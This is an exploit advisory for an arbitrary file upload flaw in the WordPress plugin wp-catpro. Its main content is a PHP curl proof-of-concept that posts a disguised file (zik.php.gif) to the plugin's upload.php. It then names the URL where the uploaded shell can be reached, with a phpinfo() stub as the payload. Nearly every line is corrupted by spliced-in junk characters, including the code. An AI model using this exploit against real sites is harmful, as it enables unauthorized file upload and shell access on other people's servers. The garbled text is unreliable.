Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
( M8 t; Q V& D$ N$ D2 q#-----------------------------------------------------------------------2 }' n' L; p6 f6 l5 E2 ~
/ F* p( c* r1 u+ N1 A作者 => Zikou-165 C0 F% l4 ~4 e" h- `: U( k
邮箱 => zikou16x@gmail.com
3 l/ ~& d8 l8 U# B测试系统 : Windows 7 , Backtrack 5r3
' C" g3 C4 V- A, A" s7 E下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
; Z) A+ t7 E5 Q- p6 e####' B( j6 C+ Q2 L4 E! W
9 A; V& ]$ F! \" F# O4 C# ]#=> Exploit 信息:' V- J* w0 j e9 ]# m8 u
------------------4 q* J! s, D! c+ F" z8 ?
# 攻击者可以上传 file/shell.php.gif
, {5 M* |+ k4 d. r" w K# ("jpg", "gif", "png") // Allowed file extensions
8 |! w5 H- K% k" e/ P. c# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
& E; |8 e, h7 C! @- W5 O# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)9 l( s8 V+ C$ O6 T$ y% ]
------------------
2 G4 u3 { z3 m0 v: k# \
1 |: o( T1 a0 J% N( ?% A6 R#=> Exploit+ N) S1 _2 R: T3 i6 }) b& v1 L( G
-----------
. V8 N! T& U: f+ t- e2 v<?php
: _/ w6 F7 j+ j& J5 Q. ` & ?" P' \* ^: ^% l4 F' t" V% G1 f, y
$uploadfile="zik.php.gif";
6 i" t& ]$ N) ]$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");% `3 z# e9 L2 a
curl_setopt($ch, CURLOPT_POST, true);- u* F/ _" T: r8 N; _
curl_setopt($ch, CURLOPT_POSTFIELDS,% b& f. d/ {) r6 C, l- D7 j
array('Filedata'=>"@$uploadfile",$ ?" O' \( D+ P) ^$ v
'folder'=>'/wp-content/uploads/catpro/'));
2 I( m- Y4 a1 e1 ocurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);% O" h7 H9 ] F* h$ O, ]% R4 z
$postResult = curl_exec($ch);
4 N: q- Q U3 D* G0 Q0 Fcurl_close($ch);' D0 {, u, {, c4 a. R$ L8 g
6 ^7 i2 U# {: Q: Z) g
print "$postResult";8 R$ R- W9 X) J5 s3 p' n8 @) `* {" i
; n8 i% [7 V w8 g" n, d( y, \: d- B
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif- \9 P2 N& U& z) E% h7 r
?>/ ~2 x2 f8 Z! x! t) \. W
<?php' u9 C: a* @" V- }
phpinfo();5 Y7 i/ |8 @1 c7 R
?> |